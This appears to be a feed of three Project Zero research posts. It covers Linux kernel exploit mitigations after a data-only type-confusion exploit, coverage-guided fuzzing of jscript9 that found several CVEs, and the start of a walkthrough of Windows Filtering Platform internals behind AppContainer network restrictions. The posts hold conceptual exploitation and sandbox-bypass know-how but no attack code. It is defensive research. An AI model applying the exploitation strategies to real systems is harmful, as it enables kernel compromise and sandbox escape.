The probability that this defense can prevent UAFs from leading to exploitable type confusion depends somewhat on the granularity of slabs; if specific struct types have their own slabs, it provides more protection than if objects are only grouped by size. So to improve the utility of virtually-backed slab memory, it would be necessary to replace the generic kmalloc slabs (which contain various objects, grouped only by size) with ones that are segregated by type and/or allocation site. (The grsecurity/PaX folks have vaguely alluded to doing something roughly along these lines using compiler instrumentation.)

After reallocation as pagetable: Structure layout randomization

Memory safety issues are often exploited in a way that involves creating a type confusion; e.g. exploiting a use-after-free by replacing the freed object with a new object of a different type.

A defense that first appeared in grsecurity/PaX is to shuffle the order of struct members at build time to make it harder to exploit type confusions involving structs; the upstream Linux version of this is in scripts/gcc-plugins/randomize_layout_plugin.c.

How effective this is depends partly on whether the attacker is forced to exploit the issue as a confusion between two structs, or whether the attacker can instead exploit it as a confusion between a struct and an array (e.g. containing characters, pointers or PTEs). Especially if only a single struct member is accessed, a struct-array confusion might still be viable by spraying the entire array with identical elements. Against the type confusion described in this blogpost (between struct pid and page table entries), structure layout randomization could still be somewhat effective, since the reference count is half the size of a PTE and therefore can randomly be placed to overlap either the lower or the upper half of a PTE. (Except that the upstream Linux version of randstruct only randomizes explicitly-marked structs or structs containing only function pointers, and struct pid has no such marking.)

Of course, drawing a clear distinction between structs and arrays oversimplifies things a bit; for example, there might be struct types that have a large number of pointers of the same type or attacker-controlled values, not unlike an array.

If the attacker can not completely sidestep structure layout randomization by spraying the entire struct, the level of protection depends on how kernel builds are distributed:

  • If the builds are created centrally by one vendor and distributed to a large number of users, an attacker who wants to be able to compromise users of this vendor would have to rework their exploit to use a different type confusion for each release, which may force the attacker to rewrite significant chunks of the exploit.
  • If the kernel is individually built per machine (or similar), and the kernel image is kept secret, an attacker who wants to reliably exploit a target system may be forced to somehow leak information about some structure layouts and either prepare exploits for many different possible struct layouts in advance or write parts of the exploit interactively after leaking information from the target system.

To maximize the benefit of structure layout randomization in an environment where kernels are built centrally by a distribution/vendor, it would be necessary to make randomization a boot-time process by making structure offsets relocatable. (Or install-time, but that would break code signing.) Doing this cleanly (for example, such that 8-bit and 16-bit immediate displacements can still be used for struct member access where possible) would probably require a lot of fiddling with compiler internals, from the C frontend all the way to the emission of relocations. A somewhat hacky version of this approach already exists for C->BPF compilation as BPF CO-RE, using the clang builtin __builtin_preserve_access_index, but that relies on debuginfo, which probably isn't a very clean approach.

Potential issues with structure layout randomization are:

  • If structures are hand-crafted to be particularly cache-efficient, fully randomizing structure layout could worsen cache behavior. The existing randstruct implementation optionally avoids this by trying to randomize only within a cache line.
  • Unless the randomization is applied in a way that is reflected in DWARF debug info and such (which it isn't in the existing GCC-based implementation), it can make debugging and introspection harder.
  • It can break code that makes assumptions about structure layout; but such code is gross and should be cleaned up anyway (and Gustavo Silva has been working on fixing some of those issues).

While structure layout randomization by itself is limited in its effectiveness by struct-array confusions, it might be more reliable in combination with limited heap partitioning: If the heap is partitioned such that only struct-struct confusion is possible, and structure layout randomization makes struct-struct confusion difficult to exploit, and no struct in the same heap partition has array-like properties, then it would probably become much harder to directly exploit a UAF as type confusion. On the other hand, if the heap is already partitioned like that, it might make more sense to go all the way with heap partitioning and create one partition per type instead of dealing with all the hassle of structure layout randomization.

(By the way, if structure layouts are randomized, padding should probably also be randomized explicitly instead of always being on the same side to maximally randomize structure members with low alignment; see my list post on this topic for details.)

Control Flow Integrity

I want to explicitly point out that kernel Control Flow Integrity would have had no impact at all on this exploit strategy. By using a data-only strategy, we avoid having to leak addresses, avoid having to find ROP gadgets for a specific kernel build, and are completely unaffected by any defenses that attempt to protect kernel code or kernel control flow. Things like getting access to arbitrary files, increasing the privileges of a process, and so on don't require kernel instruction pointer control.

Like in my last blogpost on Linux kernel exploitation (which was about a buggy subsystem that an Android vendor added to their downstream kernel), to me, a data-only approach to exploitation feels very natural and seems less messy than trying to hijack control flow anyway.

Maybe things are different for userspace code; but for attacks by userspace against the kernel, I don't currently see a lot of utility in CFI because it typically only affects one of many possible methods for exploiting a bug. (Although of course there could be specific cases where a bug can only be exploited by hijacking control flow, e.g. if a type confusion only permits overwriting a function pointer and none of the permitted callees make assumptions about input types or privileges that could be broken by changing the function pointer.)

Making important data readonly

A defense idea that has shown up in a bunch of places (including Samsung phone kernels and XNU kernels for iOS) is to make data that is crucial to kernel security read-only except when it is intentionally being written to - the idea being that even if an attacker has an arbitrary memory write, they should not be able to directly overwrite specific pieces of data that are of exceptionally high importance to system security, such as credential structures, page tables, or (on iOS, using PPL) userspace code pages.

The problem I see with this approach is that a large portion of the things a kernel does are, in some way, critical to the correct functioning of the system and system security. MMU state management, task scheduling, memory allocation, filesystems, page cache, IPC, ... - if any one of these parts of the kernel is corrupted sufficiently badly, an attacker will probably be able to gain access to all user data on the system, or use that corruption to feed bogus inputs into one of the subsystems whose own data structures are read-only.

In my view, instead of trying to split out the most critical parts of the kernel and run them in a context with higher privileges, it might be more productive to go in the opposite direction and try to approximate something like a proper microkernel: Split out drivers that don't strictly need to be in the kernel and run them in a lower-privileged context that interacts with the core kernel through proper APIs. Of course that's easier said than done! But Linux does already have APIs for safely accessing PCI devices (VFIO) and USB devices from userspace, although userspace drivers aren't exactly its main usecase.

(One might also consider making page tables read-only not because of their importance to system integrity, but because the structure of page table entries makes them nicer to work with in exploits that are constrained in what modifications they can make to memory. I dislike this approach because I think it has no clear conclusion and it is highly invasive regarding how data structures can be laid out.)


This was essentially a boring locking bug in some random kernel subsystem that, if it wasn't for memory unsafety, shouldn't really have much of a relevance to system security. I wrote a fairly straightforward, unexciting (and admittedly unreliable) exploit against this bug; and probably the biggest challenge I encountered when trying to exploit it on Debian was to properly understand how the SLUB allocator works.

My intent in describing the exploit stages, and how different mitigations might affect them, is to highlight that the further a memory corruption exploit progresses, the more options an attacker gains; and so as a general rule, the earlier an exploit is stopped, the more reliable the defense is. Therefore, even if defenses that stop an exploit at an earlier point have higher overhead, they might still be more useful.

I think that the current situation of software security could be dramatically improved - in a world where a little bug in some random kernel subsystem can lead to a full system compromise, the kernel can't provide reliable security isolation. Security engineers should be able to focus on things like buggy permission checks and core memory management correctness, and not have to spend their time dealing with issues in code that ought to not have any relevance to system security.

In the short term, there are some band-aid mitigations that could be used to improve the situation - like heap partitioning or fine-grained UAF mitigation. These might come with some performance cost, and that might make them look unattractive; but I still think that they're a better place to invest development time than things like CFI, which attempts to protect against much later stages of exploitation.

In the long term, I think something has to change about the programming language - plain C is simply too error-prone. Maybe the answer is Rust; or maybe the answer is to introduce enough annotations to C (along the lines of Microsoft's Checked C project, although as far as I can see they mostly focus on things like array bounds rather than temporal issues) to allow Rust-equivalent build-time verification of locking rules, object states, refcounting, void pointer casts, and so on. Or maybe another completely different memory-safe language will become popular in the end, neither C nor Rust?

My hope is that perhaps in the mid-term future, we could have a statically verified, high-performance core of kernel code working together with instrumented, runtime-verified, non-performance-critical legacy code, such that developers can make a tradeoff between investing time into backfilling correct annotations and run-time instrumentation slowdown without compromising on security either way.


memory corruption is a big problem because small bugs even outside security-related code can lead to a complete system compromise; and to address that, it is important that we:

  • in the short to medium term:

    • design new memory safety mitigations:
      • ideally, that can stop attacks at an early point where attackers don't have a lot of alternate options yet
        • maybe at the memory allocator level (i.e. SLUB)
      • that can't be broken using address tag leaks (or we try to prevent tag leaks, but that's really hard)
    • continue using attack surface reduction
      • in particular seccomp
    • explicitly prevent untrusted code from gaining important attack primitives
      • like FUSE, and potentially consider fine-grained scheduler control
  • in the long term:

    • statically verify correctness of most performance-critical code
      • this will require determining how to retrofit annotations for object state and locking onto legacy C code
      • consider designing runtime verification just for gaps in static verification

Fuzzing Closed-Source JavaScript Engines with Coverage Feedback

14 September 2021 at 17:14
By: Ryan

Posted by Ivan Fratric, Project Zero

tl;dr I combined Fuzzilli (an open-source JavaScript engine fuzzer), with TinyInst (an open-source dynamic instrumentation library for fuzzing). I also added grammar-based mutation support to Jackalope (my black-box binary fuzzer). So far, these two approaches resulted in finding three security issues in jscript9.dll (default JavaScript engine used by Internet Explorer).

Introduction or “when you can’t beat them, join them”

In the past, I’ve invested a lot of time in generation-based fuzzing, which was a successful way to find vulnerabilities in various targets, especially those that take some form of language as input. For example, Domato, my grammar-based generational fuzzer, found over 40 vulnerabilities in WebKit and numerous bugs in Jscript. 

While generation-based fuzzing is still a good way to fuzz many complex targets, it was demonstrated that, for finding vulnerabilities in modern JavaScript engines, especially engines with JIT compilers, better results can be achieved with mutational, coverage-guided approaches. My colleague Samuel Groß gives a compelling case on why that is in his OffensiveCon talk. Samuel is also the author of Fuzzilli, an open-source JavaScript engine fuzzer based on mutating a custom intermediate language. Fuzzilli has found a large number of bugs in various JavaScript engines.

While there has been a lot of development on coverage-guided fuzzers over the last few years, most of the public tooling focuses on open-source targets or software running on the Linux operating system. Meanwhile, I focused on developing tooling for fuzzing of closed-source binaries on operating systems where such software is more prevalent (currently Windows and macOS). Some years back, I published WinAFL, the first performant AFL-based fuzzer for Windows. About a year and a half ago, however, I started working on a brand new toolset for black-box coverage-guided fuzzing. TinyInst and Jackalope are the two outcomes of this effort.

It comes somewhat naturally to combine the tooling I’ve been working on with techniques that have been so successful in finding JavaScript bugs, and try to use the resulting tooling to fuzz JavaScript engines for which the source code is not available. Of such engines, I know two: jscript and jscript9 (implemented in jscript.dll and jscript9.dll) on Windows, which are both used by the Internet Explorer web browser. Of these two, jscript9 is probably more interesting in the context of mutational coverage-guided fuzzing since it includes a JIT compiler and more advanced engine features.

While you might think that Internet Explorer is a thing of the past and it doesn’t make sense to spend energy looking for bugs in it, the fact remains that Internet Explorer is still heavily exploited by real-world attackers. In 2020 there were two Internet Explorer 0days exploited in the wild and three in 2021 so far. One of these vulnerabilities was in the JIT compiler of jscript9. I’ve personally vowed several times that I’m done looking into Internet Explorer, but each time, more 0days in the wild pop up and I change my mind.

Additionally, the techniques described here could be applied to any closed-source or even open-source software, not just Internet Explorer. In particular, grammar-based mutational fuzzing described two sections down can be applied to targets other than JavaScript engines by simply changing the input grammar.

Approach 1: Fuzzilli + TinyInst

Fuzzilli, as said above, is a state-of-the-art JavaScript engine fuzzer and TinyInst is a dynamic instrumentation library. Although TinyInst is general-purpose and could be used in other applications, it comes with various features useful for fuzzing, such as out-of-the-box support for persistent fuzzing, various types of coverage instrumentations etc. TinyInst is meant to be simple to integrate with other software, in particular fuzzers, and has already been integrated with some.

So, integrating with Fuzzilli was meant to be simple. However, there were still various challenges to overcome for different reasons:

Challenge 1: Getting Fuzzilli to build on Windows where our targets are.

Edit 2021-09-20: The version of Swift for Windows used in this project was from January 2021, when I first started working on it. Since version 5.4, Swift Package Manager is supported on Windows, so building Swift code should be much easier now. Additionally, static linking is supported for C/C++ code.

Fuzzilli was written in Swift and the support for Swift on Windows is currently not great. While Swift on Windows builds exist (I’m linking to the builds by Saleem Abdulrasool instead of the official ones because the latter didn’t work for me), not all features that you would find on Linux and macOS are there. For example, one does not simply run swift build on Windows, as the build system is one of the features that didn’t get ported (yet). Fortunately, CMake and Ninja  support Swift, so the solution to this problem is to switch to the CMake build system. There are helpful examples on how to do this, once again from Saleem Abdulrasool.

Another feature that didn’t make it to Swift for Windows is statically linking libraries. This means that all libraries (such as those written in C and C++ that the user wants to include in their Swift project) need to be dynamically linked. This goes for libraries already included in the Fuzzilli project, but also for TinyInst. Since TinyInst also uses the CMake build system, my first attempt at integrating TinyInst was to include it via the Fuzzilli CMake project, and simply have it built as a shared library. However, the same tooling that was successful in building Fuzzilli would fail to build TinyInst (probably due to various platform libraries TinyInst uses). That’s why, in the end, TinyInst was being built separately into a .dll and this .dll loaded “manually” into Fuzzilli via the LoadLibrary API. This turned out not to be so bad - Swift build tooling for Windows was quite slow, and so it was much faster to only build TinyInst when needed, rather than build the entire Fuzzilli project (even when the changes made were minor).

The Linux/macOS parts of Fuzzilli, of course, also needed to be rewritten. Fortunately, it turned out that the parts that needed to be rewritten were the parts written in C, and the parts written in Swift worked as-is (other than a couple of exceptions, mostly related to networking). As someone with no previous experience with Swift, this was quite a relief. The main parts that needed to be rewritten were the networking library (libsocket), the library used to run and monitor the child process (libreprl) and the library for collecting coverage (libcoverage). The latter two were changed to use TinyInst. Since these are separate libraries in Fuzzilli, but TinyInst handles both of these tasks, some plumbing through Swift code was needed to make sure both of these libraries talk to the same TinyInst instance for a given target.

Challenge 2: Threading woes

Another feature that made the integration less straightforward than hoped for was the use of threading in Swift. TinyInst is built on a custom debugger and, on Windows, it uses the Windows debugging API. One specific feature of the Windows debugging API, for example WaitForDebugEvent, is that it does not take a debugee pid or a process handle as an argument. So then, the question is, if you have multiple debugees, to which of them does the API call refer? The answer to that is, when a debugger on Windows attaches to a debugee (or starts a debugee process), the thread  that started/attached it is the debugger. Any subsequent calls for that particular debugee need to be issued on that same thread.

In contrast, the preferred Swift coding style (that Fuzzilli also uses) is to take advantage of threading primitives such as DispatchQueue. When tasks get posted on a DispatchQueue, they can run in parallel on “background” threads. However, with the background threads, there is no guarantee that a certain task is always going to run on the same thread. So it would happen that calls to the same TinyInst instance happened from different threads, thus breaking the Windows debugging model. This is why, for the purposes of this project, TinyInst was modified to create its own thread (one for each target process) and ensure that any debugger calls for a particular child process always happen on that thread.

Various minor changes

Some examples of features Fuzzilli requires that needed to be added to TinyInst are stdin/stdout redirection and a channel for reading out the “status” of JavaScript execution (specifically, to be able to tell if JavaScript code was throwing an exception or executing successfully). Some of these features were already integrated into the “mainline” TinyInst or will be integrated in the future.

After all of that was completed though, the Fuzzilli/Tinyinst hybrid was running in a stable manner:

Note that coverage percentage reported by Fuzzilli is incorrect. Because TinyInst is a dynamic instrumentation library, it cannot know the number of basic blocks/edges in advance.

Primarily because of the current Swift on Windows issues, this closed-source mode of Fuzzilli is not something we want to officially support. However, the sources and the build we used can be downloaded here.

Approach 2: Grammar-based mutation fuzzing with Jackalope

Jackalope is a coverage-guided fuzzer I developed for fuzzing black-box binaries on Windows and, recently, macOS. Jackalope initially included mutators suitable for fuzzing of binary formats. However, a key feature of Jackalope is modularity: it is meant to be easy to plug in or replace individual components, including, but not limited to, sample mutators.

After observing how Fuzzilli works more closely during Approach 1, as well as observing samples it generated and the bugs it found, the idea was to extend Jackalope to allow mutational JavaScript fuzzing, but also in the future, mutational fuzzing of other targets whose samples can be described by a context-free grammar.

Jackalope uses a grammar syntax similar to that of Domato, but somewhat simplified (with some features not supported at this time). This grammar format is easy to write and easy to modify (but also easy to parse). The grammar syntax, as well as the list of builtin symbols, can be found on this page and the JavaScript grammar used in this project can be found here.

One addition to the Domato grammar syntax that allows for more natural mutations, but also sample minimization, are the <repeat_*> grammar nodes. A <repeat_x> symbol tells the grammar engine that it can be represented as zero or more <x> nodes. For example, in our JavaScript grammar, we have

<statementlist> = <repeat_statement>

telling the grammar engine that <statementlist> can be constructed by concatenating zero or more <statement>s. In our JavaScript grammar, a <statement> expands to an actual JavaScript statement. This helps the mutation engine in the following way: it now knows it can mutate a sample by inserting another <statement> node anywhere in the <statementlist> node. It can also remove <statement> nodes from the <statementlist> node. Both of these operations will keep the sample valid (in the grammar sense).

It’s not mandatory to have <repeat_*> nodes in the grammar, as the mutation engine knows how to mutate other nodes as well (see the list of mutations below). However, including them where it makes sense might help make mutations in a more natural way, as is the case of the JavaScript grammar.

Internally, grammar-based mutation works by keeping a tree representation of the sample instead of representing the sample just as an array of bytes (Jackalope must in fact represent a grammar sample as a sequence of bytes at some points in time, e.g when storing it to disk, but does so by serializing the tree and deserializing when needed). Mutations work by modifying a part of the tree in a manner that ensures the resulting tree is still valid within the context of the input grammar. Minimization works by removing those nodes that are determined to be unnecessary.

Jackalope’s mutation engine can currently perform the following operations on the tree:

  • Generate a new tree from scratch. This is not really a mutation and is mainly used to bootstrap the fuzzers when no input samples are provided. In fact, grammar fuzzing mode in Jackalope must either start with an empty corpus or a corpus generated by a previous session. This is because there is currently no way to parse a text file (e.g. a JavaScript source file) into its grammar tree representation (in general, there is no guaranteed unique way to parse a sample with a context-free grammar).
  • Select a random node in the sample's tree representation. Generate just this node anew while keeping the rest of the tree unchanged.
  • Splice: Select a random node from the current sample and a node with the same symbol from another sample. Replace the node in the current sample with a node from the other sample.
  • Repeat node mutation: One or more new children get added to a <repeat_*> node, or some of the existing children get replaced.
  • Repeat splice: Selects a <repeat_*> node from the current sample and a similar <repeat_*> node from another sample. Mixes children from the other node into the current node.

JavaScript grammar was initially constructed by following  the ECMAScript 2022 specification. However, as always when constructing fuzzing grammars from specifications or in a (semi)automated way, this grammar was only a starting point. More manual work was needed to make the grammar output valid and generate interesting samples more frequently.

Jackalope now supports grammar fuzzing out-of-the box, and, in order to use it, you just need to add -grammar <path_to_grammar_file> to Jackalope’s command lines. In addition to running against closed-source targets on Windows and macOS, Jackalope can now run against open-source targets on Linux using Sanitizer Coverage based instrumentation. This is to allow experimentation with grammar-based mutation fuzzing on open-source software.

The following image shows Jackalope running against jscript9.

Jackalope running against jscript9.


I ran Fuzzilli for several weeks on 100 cores. This resulted in finding two vulnerabilities, CVE-2021-26419 and CVE-2021-31959. Note that the bugs that were analyzed and determined not to have security impact are not counted here. Both of the vulnerabilities found were in the bytecode generator, a part of the JavaScript engine that is typically not very well tested by generation-based fuzzing approaches. Both of these bugs were found relatively early in the fuzzing process and would be findable even by fuzzing on a single machine.

The second of the two bugs was particularly interesting because it initially manifested only as a NULL pointer dereference that happened occasionally, and it took quite a bit of effort (including tracing JavaScript interpreter execution in cases where it crashed and in cases where it didn’t to see where the execution flow diverges) to reach the root cause. Time travel debugging was also useful here - it would be quite difficult if not impossible to analyze the sample without it. The reader is referred to the vulnerability report for further details about the issue.

Jackalope was run on a similar setup: for several weeks on 100 cores. Interestingly, at least against jscript9, Jackalope with grammar-based mutations behaved quite similarly to Fuzzilli: it was hitting a similar level of coverage and finding similar bugs. It also found CVE-2021-26419 quickly into the fuzzing process. Of course, it’s easy to re-discover bugs once they have already been found with another tool, but neither the grammar engine nor the JavaScript grammar contain anything specifically meant for finding these bugs.

About a week and a half into fuzzing with Jackalope, it triggered a bug I hadn't seen before, CVE-2021-34480. This time, the bug was in the JIT compiler, which is another component not exercised very well with generation-based approaches. I was quite happy with this find, because it validated the feasibility of a grammar-based approach for finding JIT bugs.

Limitations and improvement ideas

While successful coverage-guided fuzzing of closed-source JavaScript engines is certainly possible as demonstrated above, it does have its limitations. The biggest one is inability to compile the target with additional debug checks. Most of the modern open-source JavaScript engines include additional checks that can be compiled in if needed, and enable catching certain types of bugs more easily, without requiring that the bug crashes the target process. If jscript9 source code included such checks, they are lost in the release build we fuzzed.

Related to this, we also can’t compile the target with something like Address Sanitizer. The usual workaround for this on Windows would be to enable Page Heap for the target. However, it does not work well here. The reason is, jscript9 uses a custom allocator for JavaScript objects. As Page Heap works by replacing the default malloc(), it simply does not apply here.

A way to get around this would be to use instrumentation (TinyInst is already a general-purpose instrumentation library so it could be used for this in addition to code coverage) to instrument the allocator and either insert additional checks or replace it completely. However, doing this was out-of-scope for this project.


Coverage-guided fuzzing of closed-source targets, even complex ones such as JavaScript engines is certainly possible, and there are plenty of tools and approaches available to accomplish this.

In the context of this project, Jackalope fuzzer was extended to allow grammar-based mutation fuzzing. These extensions have potential to be useful beyond just JavaScript fuzzing and can be adapted to other targets by simply using a different input grammar. It would be interesting to see which other targets the broader community could think of that would benefit from a mutation-based approach.

Finally, despite being targeted by security researchers for a long time now, Internet Explorer still has many exploitable bugs that can be found even without large resources. After the development on this project was complete, Microsoft announced that they will be removing Internet Explorer as a separate browser. This is a good first step, but with Internet Explorer (or Internet Explorer engine) integrated into various other products (most notably, Microsoft Office, as also exploited by in-the-wild attackers), I wonder how long it will truly take before attackers stop abusing it.

Understanding Network Access in Windows AppContainers

19 August 2021 at 16:37
By: Ryan

Posted by James Forshaw, Project Zero

Recently I've been delving into the inner workings of the Windows Firewall. This is interesting to me as it's used to enforce various restrictions such as whether AppContainer sandboxed applications can access the network. Being able to bypass network restrictions in AppContainer sandboxes is interesting as it expands the attack surface available to the application, such as being able to access services on localhost, as well as granting access to intranet resources in an Enterprise.

I recently discovered a configuration issue with the Windows Firewall which allowed the restrictions to be bypassed and allowed an AppContainer process to access the network. Unfortunately Microsoft decided it didn't meet the bar for a security bulletin so it's marked as WontFix.

As the mechanism that the Windows Firewall uses to restrict access to the network from an AppContainer isn't officially documented as far as I know, I'll provide the details on how the restrictions are implemented. This will provide the background to understanding why my configuration issue allowed for network access.

I'll also take the opportunity to give an overview of how the Windows Firewall functions and how you can use some of my tooling to inspect the current firewall configuration. This will provide security researchers with the information they need to better understand the firewall and assess its configuration to find other security issues similar to the one I reported. At the same time I'll note some interesting quirks in the implementation which you might find useful.

Windows Firewall Architecture Primer

Before we can understand how network access is controlled in an AppContainer we need to understand how the built-in Windows firewall functions. Prior to XP SP2 Windows didn't have a built-in firewall, and you would typically install a third-party firewall such as ZoneAlarm. These firewalls were implemented by hooking into Network Driver Interface Specification (NDIS) drivers or implementing user-mode Winsock Service Providers but this was complex and error prone.

While XP SP2 introduced the built-in firewall, the basis for the one used in modern versions of Windows was introduced in Vista as the Windows Filtering Platform (WFP). However, as a user you wouldn't typically interact directly with WFP. Instead you'd use a firewall product which exposes a user interface, and then configures WFP to do the actual firewalling. On a default installation of Windows this would be the Windows Defender Firewall. If you installed a third-party firewall this would replace the Defender component but the actual firewall would still be implemented through configuring WFP.

Architectural diagram of the built-in Windows Firewall. Showing a separation between user components (MPSSVC, BFE) and the kernel components (AFD, TCP/IP, NETIO and Callout Drivers)

The diagram gives an overview of how various components in the OS are connected together to implement the firewall. A user would interact with the Windows Defender firewall using the GUI, or a command line interface such as PowerShell's NetSecurity module. This interface communicates with the Windows Defender Firewall Service (MPSSVC) over RPC to query and modify the firewall rules.

MPSSVC converts its ruleset to the lower-level WFP firewall filters and sends them over RPC to the Base Filtering Engine (BFE) service. These filters are then uploaded to the TCP/IP driver (TCPIP.SYS) in the kernel which is where the firewall processing is handled. The device objects (such as \Device\WFP) which the TCP/IP driver exposes are secured so that only the BFE service can access them. This means all access to the kernel firewall needs to be mediated through the service.

When an application, such as a Web Browser, creates a new network socket the AFD driver responsible for managing sockets will communicate with the TCP/IP driver to configure the socket for IP. At this point the TCP/IP driver will capture the security context of the creating process and store that for later use by the firewall. When an operation is performed on the socket, such as making or accepting a new connection, the firewall filters will be evaluated.

The evaluation is handled primarily by the NETIO driver as well as registered callout drivers. These callout drivers allow for more complex firewall rules to be implemented as well as inspecting and modifying network traffic. The drivers can also forward checks to user-mode services. As an example, the ability to forward checks to user mode allows the Windows Defender Firewall to display a UI when an unknown application listens on a wildcard address, as shown below.

Dialog displayed by the Windows Firewall service when an unknown application tries to listen for incoming connections.

The end result of the evaluation is whether the operation is permitted or blocked. The behavior of a block depends on the operation. If an outbound connection is blocked the caller is notified. If an inbound connection is blocked the firewall will drop the packets and provide no notification to the peer, such as a TCP Reset or ICMP response. This default drop behavior can be changed through a system wide configuration change. Let's dig into more detail on how the rules are configured for evaluation.

Layers, Sublayers and Filters

The firewall rules are configured using three types of object: layers, sublayers and filters as shown in the following diagram.

Diagram showing the relationship between layers, sublayers and filters. Each layer can have one or more sublayers which in turn has one or more associated filters.

The firewall layer is used to categorize the network operation to be evaluated. For example there are separate layers for inbound and outbound packets. This is typically further differentiated by IP version, so there are separate IPv4 and IPv6 layers for inbound and outbound packets. While the firewall is primarily focussed on IP traffic there does exist limited MAC and Virtual Switch layers to perform specialist firewalling operations. You can find the list of pre-defined layers on MSDN here. As the WFP needs to know what layer handles which operation there's no way for additional layers to be added to the system by a third-party application.

When a packet is evaluated by a layer the WFP performs Filter Arbitration. This is a set of rules which determine the order of evaluation of the filters. First WFP enumerates all registered filters which are associated with the layer's unique GUID. Next, WFP groups the filters by their sublayer's GUID and orders the filter groupings by a weight value which was specified when the sublayer was registered. Finally, WFP evaluates each filter according to the order based on a weight value specified when the filter was registered.

For every filter, WFP checks if the list of conditions match the packet and its associated meta-data. If the conditions match then the filter performs a specified action, which can be one of the following:

  • Permit
  • Block
  • Callout Terminating
  • Callout Unknown
  • Callout Inspection

If the action is Permit or Block then the filter evaluation for the current sublayer is terminated with that action as the result. If the action is a callout then WFP will invoke the filter's registered callout driver's classify function to perform additional checks. The classify function can evaluate the packet and its meta-data and specify a final result of Permit, Block or additionally Continue which indicates the filter should be ignored. In general if the action is Callout Terminating then it should only set Permit and Block, and if it's Callout Inspection then it should only set Continue. The Callout Unknown action is for callouts which might terminate or might not depending on the result of the classification.

Once a terminating filter has been evaluated WFP stops processing that sublayer. However, WFP will continue to process the remaining sublayers in the same way regardless of the final result. In general if any sublayer returns a Block result then the packet will be blocked, otherwise it'll be permitted. This means that if a higher priority sublayer's result is Permit, it can still be blocked by a lower-priority sublayer.

A filter can be configured with the FWPM_FILTER_FLAG_CLEAR_ACTION_RIGHT flag which indicates that the result should be considered “hard” allowing a higher priority filter to permit a packet which can't be overridden by a lower-priority blocking filter. The rules for the final result are even more complex than I make out including soft blocks and vetos, refer to the page in MSDN for more information.


To simplify the classification of network traffic, WFP provides a set of stateful layers which correspond to major network events such as TCP connection and port binding. The stateful filtering is referred to as Application Layer Enforcement (ALE). For example the FWPM_LAYER_ALE_AUTH_CONNECT_V4 layer will be evaluated when a TCP connection using IPv4 is being made.

For any given connection it will only be evaluated once, not for every packet associated with the TCP connection handshake. In general these ALE layers are the ones we'll focus on when inspecting the firewall configuration, as they're the most commonly used. The three main ALE layers you're going to need to inspect are the following:




Processed when TCP connect() called.


Processed when TCP listen() called.


Processed when a packet/connection is received.

What layers are used and in what order they are evaluated depend on the specific operation being performed. You can find the list of the layers for TCP packets here and UDP packets here. Now, let's dig into how filter conditions are defined and what information they can check.

Filter Conditions

Each filter contains an optional list of conditions which are used to match a packet. If no list is specified then the filter will always match any incoming packet and perform its defined action. If more than one condition is specified then the filter is only matched if all of the conditions match. If you have multiple conditions of the same type they're OR'ed together, which allows a single filter to match on multiple values.

Each condition contains three values:

  • The layer field to check.
  • The value to compare against.
  • The match type, for example the packet value and the condition value are equal.

Each layer has a list of fields that will be populated whenever a filter's conditions are checked. The field might directly reflect a value from the packet, such as the destination IP address or the interface the packet is traversing. Or it could be a metadata value, such as the user identity of the process which created the socket. Some common fields are as follows:

Field Type



The remote IP address.


The local IP address.


The IP protocol type, e.g. TCP or UDP


The remote protocol port.


The local protocol port.


The user's identity.


The remote user's identity.


The path to the socket's executable.


The user's AppContainer package SID.


A set of additional flags.


The source network interface profile.


The current network interface profile.

The value to compare against the field can take different values depending on the field being checked. For example the field FWPM_CONDITION_IP_REMOTE_ADDRESS can be compared to IPv4 or IPv6 addresses depending on the layer it's used in. The value can also be a range, allowing a filter to match on an IP address within a bounded set of addresses.

The FWPM_CONDITION_ALE_USER_ID and FWPM_CONDITION_ALE_PACKAGE_ID conditions are based on the access token captured when creating the TCP or UDP socket. The FWPM_CONDITION_ALE_USER_ID stores a security descriptor which is used with an access check with the creator's token. If the token is granted access then the condition is considered to match. For FWPM_CONDITION_ALE_PACKAGE_ID the condition checks the package SID of the AppContainer token. If the token is not an AppContainer then the filtering engine sets the package SID to the NULL SID (S-1-0-0).

The FWPM_CONDITION_ALE_REMOTE_USER_ID is similar to the FWPM_CONDITION_ALE_USER_ID condition but compares against the remote authenticated user. In most cases sockets are not authenticated, however if IPsec is in use that can result in a remote user token being available to compare. It's also used in some higher-level layers such as RPC filters.

The match type can be one of the following:


The match types should hopefully be self explanatory based on their names. How the match is interpreted depends on the field's type and the value being used to check against.

Inspecting the Firewall Configuration

We now have an idea of the basics of how WFP works to filter network traffic. Let's look at how to inspect the current configuration. We can't use any of the normal firewall commands or UIs such as the PowerShell NetSecurity module as I already mentioned these represent the Windows Defender view of the firewall.

Instead we need to use the RPC APIs BFE exposes to access the configuration, for example you can access a filter using the FwpmFilterGetByKey0 API. Note that the BFE maintains security descriptors to restrict access to WFP objects. By default nothing can be accessed by non-administrators, therefore you'd need to call the RPC APIs while running as an administrator.

You could implement your own tooling to call all the different APIs, but it'd be much easier if someone had already done it for us. For built-in tools the only one I know of is using netsh with the wfp namespace. For example to dump all the currently configured filters you can use the following command as an administrator:

PS> netsh wfp show filters file = -

This will print all filters in an XML format to the console. Be prepared to wait a while for the output to complete. You can also dump straight to a file. Of course you now need to interpret the XML results. It is possible to also specify certain parameters, such as local and remote addresses to reduce the output to only matching filters.

Processing an XML file doesn't sound too appealing. To make the firewall configuration easier to inspect I've added many of the BFE APIs to my NtObjectManager PowerShell module from version 1.1.32 onwards. The module exposes various commands which will return objects representing the current WFP configuration which you can easily use to inspect and group the results however you see fit.

Layer Configuration

Even though the layers are predefined in the WFP implementation it's still useful to be able to query the details about them. For this you can use the Get-FwLayer command.

PS> Get-FwLayer

KeyName                           Name                                    

-------                           ----                                    

FWPM_LAYER_OUTBOUND_IPPACKET_V6   Outbound IP Packet v6 Layer            

FWPM_LAYER_IPFORWARD_V4_DISCARD   IP Forward v4 Discard Layer            



The output shows the SDK name for the layer, if it has one, and the name of the layer that the BFE service has configured. The layer can be queried by its SDK name, its GUID or a numeric ID, which we will come back to later. As we mostly only care about the ALE layers then there's a special AleLayer parameter to query a specific layer without needing to remember the full name or ID.

PS> (Get-FwLayer -AleLayer ConnectV4).Fields

KeyName                          Type      DataType              

-------                          ----      --------              

FWPM_CONDITION_ALE_APP_ID        RawData   ByteBlob              

FWPM_CONDITION_ALE_USER_ID       RawData   TokenAccessInformation

FWPM_CONDITION_IP_LOCAL_ADDRESS  IPAddress UInt32                


Each layer exposes the list of fields which represent the conditions which can be checked in that layer, you can access the list through the Fields property. The output shown above contains a few of the condition types we saw earlier in the table of conditions. The output also shows the type of the condition and the data type you should provide when filtering on that condition.

PS> Get-FwSubLayer | Sort-Object Weight | Select KeyName, Weight

KeyName                                   Weight

-------                                   ------

